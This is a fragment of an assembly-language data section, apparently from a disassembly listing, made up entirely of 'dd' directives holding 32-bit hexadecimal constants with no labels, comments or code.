		dd 0C12F782Fh, 25BD4576h, 74A5DC62h, 4238F734h,	24A2EA09h
		dd 29BA3141h, 9A80FC57h, 0A205D92h, 247CF466h, 4B2E010Fh
		dd 326FA3D6h, 9F4098B6h, 0A541C8E7h, 751626A5h,	0AD5C5C5Bh
		dd 13A0D0Bh, 95AC1C7Fh,	76EB435Ch, 6D7C70ADh, 0B0E6BC9Dh
		dd 77780802h, 25BB4EA7h, 0E1CA5E6h, 9D5A11A0h, 0BF402DD1h
		dd 501106D8h, 0D8B5FA7Eh, 14FCBA29h, 49586880h,	0A5815A0Ch
		dd 607B4F1Bh, 10147541h, 25E709FEh, 0F41F4CE1h,	2FF39ED2h
		dd 0D725F0DEh, 4F688318h, 8B291C62h, 627809B7h,	0B5224679h
		dd 98C798B9h, 4BC40909h, 0FA0D4C7Dh, 79A68539h,	0D9FB0136h
		dd 77CFD764h, 11D1F3E5h, 5DB61E1Dh, 21247BCBh, 5866E384h
		dd 751F3D0h, 0F58087B5h, 5CF662A1h, 0BB595361h,	0EB767012h
		dd 456597h, 8016B450h, 0C02C8CECh, 0BC3FA5E4h, 0D0CC820Dh
		dd 7745EEE9h, 1B0F2E6h,	26A82B68h, 5F70C5EFh, 12AD8AEBh
		dd 2FF8F2EFh, 36685CB0h, 3EE14670h, 0E98326ADh,	0B2DCB33h
		dd 0A444E274h, 9CFA052Dh, 0E24D8989h, 9AF7039Dh, 7E5BFC30h
		dd 0C11D32CDh, 47775E1Ch, 1AC6A6D8h, 62D5A1E9h,	7A30559Eh
		dd 0AB1720BDh, 0CEE1450Ah, 27B6A26Ah, 20CA1659h, 5627B4E5h
		dd 74125759h, 366CC8DCh, 0EC6D48E9h, 0AC4FB852h, 0EF6A10DAh
		dd 1C18BA01h, 2B2938A7h, 0E4CE4C0Fh, 0CF1C5CA3h, 37051104h
		dd 0AADA9512h, 31EF1E00h, 4A576B72h, 4039B35Ah,	0F95EA3DCh
		dd 29CE3491h, 9FC7AACh,	8F231D68h, 0C51616D8h, 29AA59C5h
		dd 0C2217E1Ah, 0EE12EAABh, 29BDF18Fh, 220ACFCh,	63C9402Ah
		dd 0BEF7B5Fh, 0A740D9F7h, 6D73B850h, 5276C927h,	0D482C34h
		dd 24F100ABh, 0F943D525h, 51353A0Eh, 5E32A940h,	31F8993h
		dd 5702D072h, 0B1532568h, 17A4613Ah, 464BA207h,	0CA0168CCh
		dd 0E9499948h, 0F2A61BFAh, 0F602139Ah, 5F66006Fh, 0A5056C8Ch
		dd 9B441775h, 99DDB031h, 1C12D295h, 584FBEE2h, 14EEC477h
		dd 3112C90Ah, 9C1285C2h, 537DCCh, 0EF80AEB7h, 6E7C001h
		dd 12DCC7ECh, 77523DCBh, 5AD42E01h, 0E9C0DE5Bh,	3EE1A225h
		dd 0C6F20BACh, 0DCBEE4A0h, 7F5CE419h, 5F827A81h, 0B6C0D48Bh
		dd 2012A135h, 4AA4B83h,	130F8012h, 0B97E76F8h, 506B858Bh
		dd 0D1DB0404h, 7C279028h, 0E9130C24h, 0F128F361h, 78C50081h
		dd 168D75Fh, 0E7B850DDh, 2F662A49h, 8E9916C6h, 1C3A0AB3h
		dd 7AE3EA3h, 0E8222E9h,	3C977612h, 0E9052187h, 46D4523Fh
		dd 0DAC0A8C4h, 13746E9Fh, 0AAEE2112h, 0BC67A2Ch, 79D51BCDh
		dd 0E9040C7Eh, 9CEECCE6h, 595BCA53h, 0C8E90D61h, 0D5FD4675h
		dd 2ECF8EDDh, 0C1B662Ch, 0F20A1DCFh, 17FA3920h,	0EB5148EBh
		dd 0C310D319h, 0F7F35A03h, 8FE1124Fh, 1A78A03Eh, 30594BC4h
		dd 33481BFh, 0D16C8C32h, 162CD6EFh, 52F1C03Dh, 0AA38BA3Ch
		dd 52609E52h, 28B92861h, 1B79730h, 0BD02A44Dh, 548766Dh
		dd 2654E5D5h, 13FF16B8h, 5D31AB4Ah, 0BE053933h,	0E8A6BFD1h
		dd 0B5BBAC2Ah, 5DF902AEh, 0C07FB70Fh, 0BF4851DEh, 3BA61093h
		dd 566FB800h, 0BBBE406Bh, 329D245Bh, 0E3A0880Ch, 0C8895005h
		dd 0BF5903F0h, 7E04CC16h, 210CA446h, 0F707A4ECh, 144A1405h
		dd 0FA84C047h, 0C133F28h, 5ECBFE09h, 3F43F604h,	47C081E9h
		dd 0E6352F2Fh, 0E74AD6CAh, 46E90BEEh, 25D1AB0Ah, 9B0499Dh
		dd 1FE29759h, 0DC13E63h, 3089309Fh, 18650500h, 0EE818032h
		dd 906C142Dh, 0B5C223h,	7C5906CAh, 20EF520Eh, 0CA4872B5h
		dd 3B9281C9h, 0C07B5E28h, 112367F8h, 0E9069DB6h, 4E9FEAA9h
		dd 2EA6F1D4h, 0CC3C15FCh, 0E343EC4Fh, 0C2118868h, 98E92508h
		dd 0D6293E40h, 4F46729Fh, 6085183Eh, 44A0C1D9h,	9A2659DDh
		dd 9015AE07h, 0C4C060AAh, 0F92BC035h, 3AA80DEDh, 4E88322h
		dd 17D62D24h, 0A882FE93h, 52078C05h, 7D2012FAh,	971232h
		dd 622BEB04h, 0A9901845h, 5668342Fh, 49803F05h,	0E9731C08h
		dd 0BB9CD207h, 77C9CD9Eh, 84D20043h, 6CD594A0h,	6C80CA09h
		dd 0CF2371B7h, 211DE3CDh, 0D6D86872h, 0B618E496h, 0F46C4287h
		dd 0E28943FEh, 829E710Ch, 3B330ECAh, 92EBC6AAh,	0A5B1AC5Fh
		dd 1406F313h, 6A6A6DDEh, 2F9F0D4Ch, 0E625F516h,	22E4661Dh
		dd 799F2C8Eh, 0EF83C3C3h, 4859A6B4h, 0C5644EB5h, 9AE94C70h
		dd 67E8BCC0h, 3163A356h, 0E1281413h, 9CAA50C4h,	50F8D991h
		dd 2801B009h, 0C502FEC1h, 20D30B80h, 348BA19Ah,	0FFBDBD27h
		dd 0B6C0D7CBh, 0B24874BAh, 478F131Dh, 0F3F7B5ECh, 3E02E666h
		dd 0E112ABBFh, 55D1813Fh, 5E8B9A6Fh, 0B85E99CDh, 1301184h
		dd 2686FFACh, 0B43F1016h, 2AAEAED8h, 21F5E9B1h,	14846800h
		dd 2762BBBCh, 0E9540016h, 13A1CD6Eh, 48113336h,	5F2D5824h
		dd 0C0E440B8h, 2618A846h, 9638DEB0h, 12E8534Dh,	0FCA3332Bh
		dd 61A99314h, 0D2446113h, 0ED413E12h, 0F6B82A4Eh, 2356B8B0h
		dd 0DE09772Dh, 742004A1h, 170AE848h, 75FF6BECh,	438DEE1Fh
		dd 60248D2Eh, 5A408A17h, 9B4F0105h, 0C52996B8h,	2C882858h
		dd 75126650h, 0C2550C0h, 26243F1Eh, 0BBE8E13Dh,	91931596h
		dd 5458E148h, 7FC94F0Eh, 779BF1C0h, 0C8904B8Bh,	0FB6B6602h
		dd 0C0DAF76Dh, 276787ABh, 7ED46468h, 0B2107B80h, 4ED1311Fh
		dd 68EF815Ah, 80602E8Dh, 0C71C5C43h, 2C3BE7Ah, 0FC414B79h
		dd 0D2A4AD18h, 12D34EC0h, 0CED6EF13h, 0BA5195BCh, 11C71B3Ch
		dd 0C106F311h, 0BB05391Dh, 524C9AC1h, 16E65D02h, 94059B2Dh
		dd 5A212FDEh, 4FB5E11Ch, 92AA0990h, 68FC98FFh, 0D8704D95h
		dd 0E9D4F78Bh, 0A609B468h, 3C65D990h, 0A7B4712Ch, 0DEA7CE79h
		dd 0CE55425Ah, 0D5288664h, 0BC80A80Ah, 12180D7Eh, 9A0E4240h
		dd 32DF2F7Ch, 7925CC5Eh, 8A4ACEFh, 0AC010970h, 7AB15166h
		dd 4B15F02Bh, 78DD73FBh, 0B88EAD2Ah, 7D303AB7h,	6B55D964h
		dd 0E4303995h, 0D59240E9h, 2ED3C22Ch, 0F14CF523h, 0E0DBE185h
		dd 61F917BDh, 470A0C60h, 51E82C96h, 0C080646h, 0E5641483h
		dd 0A612A850h, 595186ECh, 54E752B3h, 9217553Fh,	211B84FDh
		dd 627D82h, 1D97C180h, 0AE59CC28h, 0E6273B77h, 0C82AACE3h
		dd 3574FDA0h, 514D2912h, 680C23FDh, 0BA7D76A3h,	0E808B941h
		dd 0B46158BFh, 34C2532Fh, 0CF0DE855h, 515C05B8h, 0E137E94Ch
		dd 2A09374Eh, 7E2D69B8h, 8210D1FCh, 43AB1D1Fh, 8076E277h
		dd 4D45CA09h, 0F2D8F5ACh, 310271Ah, 0D5F7127Fh,	0EA5CE368h
		dd 31D85781h, 6448B7EFh, 0C02454C3h, 8C39FF4Fh,	0C36A848h
		dd 0BD2402ADh, 2659E939h, 6185AD68h, 720BC09Bh,	0D0AA7663h
		dd 3D4FE968h, 18BC2930h
		dd 835C9F54h, 7E030F26h, 187C550Ah, 144D0312h, 6C09B433h
		dd 0F80BE9F0h, 0F57E955Ch, 0C1CE766Bh, 2E395EE9h, 0CF57610Eh
		dd 0D88245Fh, 0DD29E4CCh, 27FA5C4Ch, 1280EAB2h,	1E671170h
		dd 3D9CB8B0h, 68E3D181h, 0E76304B5h, 65F7D754h,	0FC5B0BD3h
		dd 22E404DFh, 0CCFB3CCEh, 3F5EE9B2h, 0DFE2110h,	0AE7D102h
		dd 5F43CB60h, 704840E6h, 872F2577h, 64D4F25Eh, 0E9171AB9h
		dd 0BFB5E4EBh, 9F1FD21Dh, 7842953h, 8ADE0EFh, 0BA47130Bh
		dd 810C7005h, 0C4844ABh, 8C302AE9h, 31EB77C9h, 88811609h
		dd 0CB123EE2h, 0FE1C198Ah, 21CB92C3h, 1C77396h,	0E23A5A5Eh
		dd 40E4C4F8h, 0FD02058Dh, 9FA40F4Ah, 0B9079197h, 87B73E4Ch
		dd 205E4D2h, 16BB2B40h,	78525E8h, 0D550EB32h, 0EEE6946Ah
		dd 62226629h, 3F120A48h, 0A1741763h, 0FCEBE4FFh, 155F0AF4h
		dd 286DBC04h, 0C64D0456h, 815A0DE5h, 0B8D7C732h, 0E1F2C4EBh
		dd 2DD0F700h, 83315F3Fh, 24369C67h, 0CE2E392h, 39C5EB39h
		dd 22016C02h, 0C15BDA29h, 2A3B53C7h, 0FDE90948h, 6C6054D7h
		dd 9241203Ch, 0DB5EE0DAh, 4E963E71h, 533D2E16h,	33960CA9h
		dd 0F7F8870Ch, 30DDD55Ch, 0C5F67381h, 0C4DFB863h, 0BF32Ah
		dd 0A5B6B8BFh, 0AAC09791h, 460BED81h, 0E6E5557h, 5C7E30B6h
		dd 4E1231CBh, 12DCF374h, 0AE3531DAh, 0B5F92BBh,	801380F8h
		dd 0B30B02F1h, 0B3A2DD75h, 0D60EFB61h, 93858E21h, 0D5EDA381h
		dd 7FAF5FA8h, 97937B1Fh, 805B0447h, 0C9322577h,	6F815FA9h
		dd 0BAF92842h, 0BAECDEA4h, 0C18BEEB5h, 0F4DBE84Eh, 5A96DCAEh
		dd 0EEE38762h, 80165F40h, 0C64AA5FAh, 0C3F88A35h, 8639BBF5h
		dd 177BCA2Fh, 655227F8h, 1A32AEBh, 8B650EB8h, 9243976Eh
		dd 4021A5D0h, 0F9685857h, 224C04D2h, 0E10AE401h, 8611316h
		dd 0BC70400h, 9D295A17h, 0AD3CD74Bh, 27BC4A82h,	9E07610h
		dd 0DFC3315Bh, 0E90426C7h, 28BFE423h, 9BF9728h,	64A5D47h
		dd 3E9C9CD5h, 6B4187E9h, 39A223h, 27E6BB7Bh, 0EBC14230h
		dd 513ECBEh, 55C6C301h,	0E0DB1479h, 4AE9E8BDh, 3B59B1A1h
		dd 2A363FD1h, 25EBFB8Dh, 3652C6E8h, 1D1B4532h, 82AE55C7h
		dd 8E56EFC9h, 0E165E986h, 1898ECD5h, 0C757025h,	3777091Ah
		dd 74E7790h, 6432398Ch,	840132EEh, 4F52DFAh, 0EEA6AFE3h
		dd 96801B6Bh, 57A3609Dh, 5EF3011Ch, 1BAD3DAh, 1091680Bh
		dd 0B05AA733h, 0EAC40B48h, 0B80314D7h, 13BA6677h, 7C10AF41h
		dd 0FAE415h, 0B506C595h, 492FE954h, 0A78359A1h,	1A39F216h
		dd 434BC18h, 0D3F6E9D9h, 1F00FD3h, 7E05F8AAh, 3C164679h
		dd 4709A0F1h, 44E9091Ch, 0CF4E0135h, 2D32E220h,	25FA285Bh
		dd 26D1744Ch, 0C24FFB11h, 0D56BF34Eh, 4CB2B480h, 4B487BBAh
		dd 0BC50588h, 49FC6470h, 0A6401A4Ch, 4F71126Fh,	6106FE3Dh
		dd 4DB0E7h, 7064C8C2h, 0D789576Bh, 0BEFD70B7h, 81326CEAh
		dd 277AE672h, 0EE062676h, 54CF5D42h, 619B10Ch, 0D00C29E9h
		dd 10896812h, 0F3006DA3h, 0F7062C48h, 0CAC381DEh, 56D706Fh
		dd 2EF1170Ch, 3A84B1D9h, 0A92E342Dh, 53169EC1h,	98EB0DF4h
		dd 9E5F278Fh, 2F20ABC6h, 0EB801CD9h, 8262E46h, 782F8B68h
		dd 4E5779B5h, 69EBF1FFh, 0C821A2ECh, 0BDF5090Eh, 0A2C29E51h
		dd 0B01CB0F4h, 0C28818BCh, 0BBC5478Bh, 0D8EE7BD2h, 81EDCB2Ah
		dd 0CCD0560h, 0A17B62D1h, 63C86BF0h, 0EC0D25E9h, 51303968h
		dd 428C59BDh, 5D323F12h, 0A2B53BCCh, 0D5F0DE9Fh, 5A17C9C6h
		dd 12046B48h, 0CCFE3CC3h, 97D96600h, 173A5AF3h,	0DE2BFA8Ch
		dd 0DDE5E909h, 824961F6h, 8FEE6DB0h, 975FE41Ah,	20A01CC7h
		dd 4F7E70BEh, 5E5E8C01h, 0C1268EA4h, 8BC72795h,	0D8ADA3CAh
		dd 5FDA4892h, 77286A05h, 0FA60B7Ah, 0F1EC2994h,	49480802h
		dd 0F5315A44h, 0E90B184Ch, 5E0139DBh, 913B7399h, 0F2EC9258h
		dd 3EAB39EEh, 1F5825EDh, 0B873CE40h, 41E1901Fh,	81D9FCA0h
		dd 28B1C906h, 0F49240CCh, 66CF2739h, 0D2A28BD8h, 68423D5Eh
		dd 621554A7h, 6DC92E9h,	7D084A17h, 8CED4408h, 17585CBDh
		dd 347A80DFh, 7D094B7Dh, 5D226D1h, 79607A7Bh, 0D61968D7h
		dd 0DFE6535Ah, 61CF8100h, 6D7A5C1Eh, 11264C4h, 4E5FA3EAh
		dd 5561C28h, 9A51D168h,	8800E06Ah, 39BD150Ch, 4C16031h
		dd 0AE907EEh, 7147E4F4h, 5C12589Eh, 0B990CABDh,	452D5013h
		dd 0E4199825h, 20B52A1Ch, 4291EDA4h, 4C167CF1h,	0CB8BBED9h
		dd 0EE505385h, 0B551B270h, 0ED801255h, 236F128Fh, 0F990DF16h
		dd 0C4965B5Fh, 1DEA3A02h, 755663E9h, 873BF57Eh,	31780BE1h
		dd 0E5B5EEE0h, 841796E7h, 248BEAFCh, 52502E60h,	90506855h
		dd 5D666197h, 0B70F8CC4h, 589DF2D0h, 0C27AED46h, 0D6CA6098h
		dd 4D1AC555h, 8368D0E8h, 0D31C2A48h, 1DAC0503h,	0C0AC4E2Dh
		dd 21344EFCh, 11296537h, 0C246CC5h, 8D825894h, 46E562E8h
		dd 0E1D92409h, 4A896BC6h, 2569C775h, 0D90A7D51h, 0C89D9FDFh
		dd 208459D2h, 2A3FF6BFh, 4AC0614h, 2D5F5A48h, 5C0EB973h
		dd 0E9ED9C7Ah, 0D6C4A32Fh, 48425A83h, 0DC959278h, 897A567Ch
		dd 0A91EB8CBh, 0F8ECFFD4h, 8107109h, 91C8E962h,	1EF79534h
		dd 4CEAD1DAh, 51E7ECC7h, 82AB109h, 48F054CFh, 2B1003FBh
		dd 3FDA2CFBh, 59706E58h, 8058C607h, 0F00435F6h,	0B851BDC8h
		dd 26D861CDh, 0E005ECC0h, 0C99330D5h, 5CC3C13h,	854E54C6h
		dd 5B2937B3h, 30B9414h,	991BE580h, 0A93B0DC5h, 61B6276Dh
		dd 876F58F2h, 0DF68F2EBh, 3DA85975h, 0B85BE83Eh, 864BB59Ah
		dd 0CDA60452h, 0B2DF77BAh, 7F79A898h, 864FAA24h, 2F187A40h
		dd 7C76C186h, 78592E12h, 0B73C640Ch, 8832FA4Fh,	1B715F20h
		dd 27D3290Ah, 99BEA03Fh, 55F7009Eh, 7E25CABDh, 0AEE94609h
		dd 967DAFBh, 2065883h, 4B9DE67Ch, 85E71DB0h, 6FC62E09h
		dd 62B002AAh, 936043DAh, 9E0444C4h, 59CB217Eh, 0A3B2A4EBh
		dd 19C05209h, 0B763D831h, 0D368EED3h, 2452925h,	5901347Fh
		dd 9358CB80h, 0A011856Fh, 0EC2A47EBh, 55659503h, 512E54AFh
		dd 70123A92h, 8BA329BCh, 0E9A388C4h, 0C8C9F425h, 0FC0D03D3h
		dd 2B3A1F7Bh, 80379648h, 0F2015D8Fh, 0DD169Fh, 0FBBF57CAh
		dd 2916A374h, 0B361FA4Bh, 0EA100F0Ah, 0F32DD9C9h, 0B7D6D018h
		dd 0E9170E66h, 36340A3Bh, 0C84E7D82h, 5C21680Ch, 5D2EB77h
		dd 4030C2A0h, 59BEB909h, 0E97F5DCAh, 5AE881B7h,	80E0D3F6h
		dd 0BB71BF4Fh, 4E32E978h, 24319D1Bh, 6816534Dh,	0E28C4192h
		dd 387B7EA9h, 0C8DB4D65h, 411778CEh, 58ED2AEAh,	0E9420861h
		dd 5A133B99h, 2D5C9AAAh, 0BDB3C1C4h, 2E0DC689h,	3128E081h
		dd 0E405D5CBh, 190073F1h, 8158C509h, 2D66D2CDh,	0AF407AF0h
		dd 0D37F4A44h, 2CB688C7h, 0EB017711h, 85D77025h, 84DFCABFh
		dd 72F130E9h, 0D021D17Bh, 7879E0h, 29F320C4h, 27EDCB81h
		dd 0E558774Dh, 44AE304h, 0F4AA6CA7h, 0CF16B752h, 34838AB0h
		dd 5882DE53h, 264B5A5Eh, 0A5B6927Bh, 0C981DDC4h, 6800E769h
		dd 989F2195h, 82E1D301h, 336E6250h, 2CD80039h, 0F9B35311h
		dd 0E7480EADh, 5B945E54h, 3AF9577Ah, 7538D18Ch,	0F67C5372h
		dd 15D7307Dh, 376CEE3Dh, 2F16DD26h, 89760A3Fh, 0F803BF6Fh
		dd 0B12AE727h, 0D0C007E5h, 0D5F72868h, 3C23E0E2h, 3A931D8Dh
		dd 0F7AA3303h, 1640D576h, 0BE68105Eh, 0D4E7B32h, 0F27A65B1h
		dd 28AFD719h, 7E9759F7h, 6657D286h, 46E92ADBh, 0E0892CAFh
		dd 5DF802A4h, 87C049A8h
		dd 672E0B59h, 43250001h, 0A162F7B6h, 0E9B4933Ch, 0C252A3F6h
		dd 0BFE8D8DFh, 10D8DB58h, 127FC476h, 0B82966CFh, 0E9F5D8AFh
		dd 1CE09FD6h, 0AD9856ADh, 572C0818h, 94E32666h,	2EC58B0Dh
		dd 41F13FB0h, 220F80B9h, 898F8417h, 0A05AF0FFh,	66323312h
		dd 516D4D00h, 9E4B6496h, 9D4A2A8Ch, 93C34140h, 3709CB75h
		dd 15BDE09h, 4EE6D123h,	26F1E840h, 0F8574F7Ch, 0CA9525D0h
		dd 75D429CAh, 0AB885F34h, 129F3056h, 0FF61C89Eh, 0CE96F95Ah
		dd 1665F3EBh, 4DA2D0F1h, 0F0845458h, 497CF46Eh,	0F6D62D2Ch
		dd 16B2AB0Ch, 68C90FBBh, 524B0735h, 1DEDE968h, 67513213h
		dd 0DD119C04h, 9C4F27BAh, 90F89F2h, 33294AFEh, 0B938F9E3h
		dd 4B5B047Bh, 0CD6BBC68h, 59F18AAAh, 317F641h, 9C87FB34h
		dd 1B476A1h, 424A53Bh, 33C40108h, 7A2DE11Fh, 0F6EA40C4h
		dd 90539431h, 0DF9A13F6h, 0C0C6C2D3h, 2C1AE16Bh, 2030EE01h
		dd 5E58F808h, 0BB4ED4FDh, 65F29D01h, 43E62260h,	0D2065105h
		dd 28E90B01h, 5B2F0A28h, 0A272B4F6h, 4CB36B2Eh,	384620F8h
		dd 50C35E75h, 0DD2FF8B8h, 4186E509h, 643C58F3h,	5EFF61Ch
		dd 8E899FB5h, 0E9067693h, 6DAD6571h, 45D0020Ch,	0D129626Ch
		dd 80C6642h, 0BE9AF55Ch, 68279F81h, 0A7680BC6h,	89E9656Ah
		dd 9BD270E9h, 316DF507h, 0E1B45714h, 3C369F4h, 0AFCCBFDAh
		dd 16E9DF21h, 1B53C213h, 685F5401h, 38385B5Ah, 0A807AAC5h
		dd 587CC968h, 6CC1B7D9h, 9D563AFAh, 680AF4B9h, 445372EBh
		dd 28EA53h, 85384EE9h, 0ED36BCD1h, 0DBE8B02Bh, 0B8B1CBFh
		dd 9F3A4C2Dh, 3ECD035Fh, 58197B5Ah, 0C4106024h,	205C24C7h
		dd 7FFB0B2Dh, 0ED2CD525h, 0EB2F12A2h, 0F22967FFh, 8979168Eh
		dd 4AD2681Dh, 11987FADh, 0C012DC86h, 24B806E4h,	4928D050h
		dd 8101C412h, 0E7F34F1h, 0C8C6096h, 5225E3F4h, 82805829h
		dd 0B5B1FD08h, 0F044C20Fh, 0F74B4C0Ah, 0AE02F365h, 401FAB5Ah
		dd 2F33D57Eh, 4C7450EAh, 82535509h, 0F615B2A2h,	228240CAh
		dd 12B12BC8h, 0F7209220h, 0A4D8B78Ah, 6C837904h, 5FBC0170h
		dd 5C9F899Ch, 68134D44h, 2CAC0962h, 2521C0F4h, 4E4AD020h
		dd 4919C4C0h, 5FE92518h, 0A7FE36C2h, 8934B924h,	0CBA008EFh
		dd 1607B900h, 7C2112EDh, 55D92AC8h, 0D828319Dh,	0C2EAB92Ah
		dd 6FCBD1D5h, 9AA020E9h, 585AF588h, 0DC49CF9Ch,	0EC5CF12Bh
		dd 0F0772809h, 802DE9E8h, 93C4F920h, 5329C3FBh,	0CA2D4979h
		dd 0B10A46AAh, 1CCC1048h, 0E81E522Ch, 7CB5F849h, 2B5E8B8h
		dd 7BD73A6Ah, 80D7505Fh, 5F25E908h, 3B1528EFh, 0BD039C96h
		dd 8F337596h, 825DDDA6h, 398E40E5h, 30CB0063h, 7DC3F781h
		dd 39B80DF4h, 15B37A50h, 0C927D99Fh, 0EA90A055h, 0FF687648h
		dd 52F123Ah, 0BF239242h, 2C5E3ECAh, 0BC5D1C70h,	5DCF84CDh
		dd 5BFD8801h, 0D9ECD150h, 6D4C60E7h, 0E368A740h, 0F40A353Bh
		dd 0E8521D92h, 98975E94h, 7DECBBB2h, 58B79514h,	2D12272Bh
		dd 29503AC4h, 0D26067BDh, 0C672C867h, 4C30BD4Dh, 1A8845E2h
		dd 0B92EE179h, 8608B4C7h, 1EF62D65h, 6D0F709h, 0E5781C6Ah
		dd 0CACCB9DBh, 2DF65C40h, 9594C3h, 37E626FFh, 0AFBDE5E9h
		dd 7BBFE734h, 795F74B2h, 0CD680452h, 888ABA12h,	129D17D6h
		dd 8613AFA3h, 0BBFA938h, 161A3BF5h, 5FFE9858h, 3EA5F195h
		dd 8B921E4Eh, 0E503D147h, 121DC80Bh, 29F9F828h,	571EB8B1h
		dd 0C12F8482h, 9343E0EEh, 4AF9BF86h, 0E8688BB9h, 89F5120h
		dd 0D425D2EAh, 3ED6821Ah, 7AC140FBh, 77A02903h,	8974B7Ch
		dd 8209540h, 0D54D8DF8h, 5BDA0517h, 0C0FFD029h,	5EE105DBh
		dd 0A576D3Ch, 973F2E68h, 21C0046Fh, 102DCCB3h, 0CB6F66DEh
		dd 5ABA91C3h, 5ECEAC6Bh, 2B202D79h, 0D6DD5B6Dh,	0F225FEBEh
		dd 0C95AF991h, 0B6525301h, 3517E5B1h, 535AD028h, 0E6266190h
		dd 89520649h, 0CD325F1Dh, 45774129h, 90A8ADCh, 0FABA01FCh
		dd 203EB21Dh, 51D9438h,	0E2812E7Bh, 705333A4h, 63910C80h
		dd 96E92A71h, 88B56D5Eh, 2BB1FEFEh, 41979229h, 766850CCh
		dd 6F332A6Bh, 43ECD19Bh, 71D82831h, 31182704h, 6E887A5Bh
		dd 20326F4h, 47B749B0h,	6F265DD4h, 1A2CF102h, 117DC06Bh
		dd 0F53D5052h, 53FB40AFh, 800BB314h, 0DBF61DD2h, 5101EB5Dh
		dd 84E9D988h, 7F7CA3Bh,	0FFC78058h, 3AA865F5h, 0D9EBF1Ch
		dd 0A4140DF6h, 0A20387CFh, 0DB137C5Fh, 0F179E4Ch, 6C3070CFh
		dd 3B47838Ch, 8B3002BFh, 0B7B74E3Ch, 0F69FC244h, 0FB9AF88Fh
		dd 20756697h, 0A4A01852h, 0BA24233Ah, 0B83D7E4Fh, 740BB1Bh
		dd 42476EE6h, 13C6802Fh, 9514994Ch, 7DD1D8Bh, 9BA235D2h
		dd 651D401Bh, 4BEF0063h, 0FA57372Dh, 1D030522h,	0E938FC34h
		dd 90BE95A2h, 2D0668A8h, 2F748E3Eh, 92A8281h, 0E52457F0h
		dd 0E309BA9Ch, 6266DE5Ch, 0B2AE1h, 3E65BB22h, 95487E75h
		dd 0DB8737C8h, 55E562DDh, 3A89E799h, 0F6056A01h, 0F5309648h
		dd 2BD41D9h, 8F4201E6h,	98A8DAC5h, 0E680D202h, 4A6FE9B2h
		dd 0C79200B6h, 7C091D75h, 6D37252Bh, 0B80041EAh, 4B127793h
		dd 6804EA9Bh, 0FF10477Ah, 0BD000320h, 25CD0857h, 0BA5D5E55h
		dd 40E0983Fh, 0DB5CF7C6h, 12493FA0h, 12FF0D4Ch,	0F0E2A0B3h
		dd 2686D440h, 16F8F6C1h, 0BD39C0ADh, 9E4835AEh,	48C427C8h
		dd 456F65Ch, 1327037h, 0E43682F7h, 0AF002905h, 568D0D58h
		dd 2F577EE3h, 1879D0B0h, 27D12F88h, 688561F9h, 78A65716h
		dd 8D14CC0Fh, 0A118C0F7h, 0F5901A46h, 0CE2AF504h, 0E0AAB472h
		dd 0F64165D9h, 0D5D39A68h, 0B028AA39h, 27E39CEDh, 0FCE2D5FCh
		dd 5A96C3Bh, 20784C3Dh,	25D48245h, 0C6212040h, 621284A1h
		dd 2D590D0h, 528B456Ah,	0BE887D01h, 29C32008h, 2D3B989Ch
		dd 5A412050h, 0FE149301h, 26782902h, 32F360Dh, 633C467Dh
		dd 0A3FB4A7Dh, 82D058B7h, 7D012A40h, 0A758F3ECh, 3E284E1h
		dd 47289BC0h, 0C1385CA6h, 21098D06h, 880B0C24h,	82D12D53h
		dd 0D10117C7h, 0AD3C1346h, 91EF021Ch, 0FDD8633Eh, 79BFB680h
		dd 0AD5E1DE7h, 0AAF3B16h, 408446C5h, 56FC4083h,	0C53282A0h
		dd 7C088627h, 4C798B8Fh, 49EE3875h, 0B359BDCFh,	2235224Bh
		dd 0D7C6207Fh, 0C60643Eh, 0F553940Ch, 8BF39197h, 4BE35455h
		dd 68E2AA84h, 5F2EFE60h, 73800CE8h, 0C1834828h,	4ED10210h
		dd 36A2560Eh, 0FBE407B2h, 4162A344h, 0F01017E3h, 0F4DD5AF8h
		dd 1FB1F800h, 817B5A2Ch, 2F2AEC8h, 0E4027C59h, 14ECB9F5h
		dd 57D8E50h, 3B1C49FFh,	904627FFh, 292A9830h, 6E8BEF25h
		dd 69E9134Dh, 78524187h, 6B4D2A32h, 841AF5B2h, 0ED56EB75h
		dd 80513178h, 101AFBBEh, 847B5B69h, 0BA432C64h,	0C5A765C9h
		dd 19BCECDAh, 0D21044BEh, 7875EA00h, 4057E925h,	1F77BB29h
		dd 8E648855h, 0C12311CBh, 9210505Eh, 0F713D22Dh, 46C600D7h
		dd 31922E21h, 0E9A3DF63h, 0AAFD9460h, 0F360B04Fh, 0C930F53Fh
		dd 0AD293E4Bh, 2B9A5D58h, 20C44181h, 7520A4BFh,	0D66E480Bh
		dd 0DDFB5B24h, 6F269BF9h, 0BA001539h, 48521E53h, 0E728DD69h
		dd 1214B058h, 0BA9B6BCEh, 71AE5D01h, 3061676Fh,	685C423Bh
		dd 0E7DD2563h, 54FA10EDh, 0FE40B929h, 8992B656h, 5EEE1BA5h
		dd 2576812h, 95007BF3h,	0E972457Fh, 1AC4DA0Bh, 0C685CE31h
		dd 0C08737E4h, 713AF610h, 0DB957CCFh, 0B1401777h, 47B82B27h
		dd 6B91EA02h, 0B9E8479Dh, 26125504h, 0D0AAF229h, 0B4B25299h
		dd 21628AF0h, 814D663Ch
		dd 741EF5FCh, 0EA855DDh, 633F2D8Dh, 0CE08DB51h,	0FDBF0303h
		dd 31FA4EEDh, 8BBE87D7h, 67E55F9Bh, 0EE9EF525h,	4CC76813h
		dd 6748D18Ah, 0D030804Ah, 0F14880E1h, 628D2DBBh, 68187EA7h
		dd 660D02DFh, 0E8607551h, 5124F32h, 240E5208h, 13D4E434h
		dd 6ECEA1h, 2129E285h, 5702094Bh, 0A939D6BFh, 0C0484260h
		dd 4FD05E3h, 2BE9FA31h,	0C2FAAC9Ah, 0FC1B9968h,	6651C65Eh
		dd 0B4624C02h, 5FE3D145h, 9C257FE6h, 0E9B7F4FAh, 2E7765B1h
		dd 5F5D3204h, 0C28627ABh, 9EAAF96h, 0E8FAFF13h,	8C8E61h
		dd 1E02EB81h, 0C90ED329h, 46A9B8B7h, 0F6FD0757h, 36C380C0h
		dd 73B42D50h, 94976570h, 0F9ED062Fh, 0C480801h,	45C57600h
		dd 5F6A2DB7h, 0B6075D8h, 2A6177CCh, 5DD2A1DFh, 0FF743102h
		dd 280F0EE7h, 0CFCA3BABh, 0BFC420BFh, 3739E4C8h, 0A828BE24h
		dd 0A34A893Dh, 0C7C2FDEEh, 405D3002h, 290BFA5Eh, 0E39D8280h
		dd 0A2BF0033h, 6960351Fh, 290964Ch, 0FE010587h,	901976E9h
		dd 482FCE6Bh, 0D041072Dh, 1E330462h, 0C0F12132h, 1655C187h
		dd 0D27AE32Fh, 50E64805h, 832DC301h, 615AF46Eh,	911A406Ah
